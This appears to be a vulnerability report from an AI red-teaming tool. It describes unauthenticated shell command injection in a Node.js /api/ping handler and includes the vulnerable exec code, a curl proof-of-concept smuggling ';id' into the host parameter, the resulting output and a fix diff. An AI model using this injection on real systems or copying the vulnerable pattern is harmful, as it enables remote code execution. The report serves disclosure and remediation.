Rook
AI red-teamer · 42nights

Unauthenticated Command Execution via /api/ping Endpoint

critical9.8

auth-bypass · server.js:29-35

Introduced in 15b34d5cc6 by 42nights on 2026-06-03

Summary

The HTTP handler at server.js:29 routes requests for /api/ping directly into a child_process.exec() call that interpolates the user-controlled `host` query parameter into a shell command string. No authentication, authorization, session check, or input validation is performed before the shell is invoked. The endpoint was intended to be an internal diagnostic, but it is reachable by any unauthenticated network caller and additionally allows arbitrary shell command injection via metacharacters in `host`.

Impact. Any remote, unauthenticated attacker who can reach the server can execute arbitrary shell commands as the server's OS user. The validated proof-of-concept `?host=127.0.0.1;id` returned the output of `id` (uid=501/macintosh with admin group), demonstrating full code execution. From here an attacker can read or modify any file the process can access, exfiltrate secrets/credentials, install persistence, pivot into internal networks, or fully compromise the host.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/ping") {
🔴 const host = q.host || "127.0.0.1";
🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
🔴 send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);
🔴 });
🔴 return;
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
HTTP 200  Content-Type: text/plain
ping result for 127.0.0.1;id:
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.071 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.071/0.071/0.071/0.000 ms
uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)

Confirmed: uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts)...

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 (critical)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Require authentication and strictly validate input before invoking the shell. Use execFile with an argv array instead of exec with a format string, and reject any host that is not a plain hostname or IP.

```diff
   if (parsed.pathname === "/api/ping") {
+    if (!isAuthenticated(req)) {
+      return send(res, 401, "authentication required");
+    }
+    if (!hasRole(req, "admin")) {
+      return send(res, 403, "forbidden");
+    }
     const host = q.host || "127.0.0.1";
-    exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
+    if (!/^[A-Za-z0-9.\-:]{1,253}$/.test(host)) {
+      return send(res, 400, "invalid host");
+    }
+    execFile("ping", ["-c", "1", "--", host], { timeout: 4000 }, (err, stdout, stderr) => {
       send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);
     });
     return;
   }
```

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.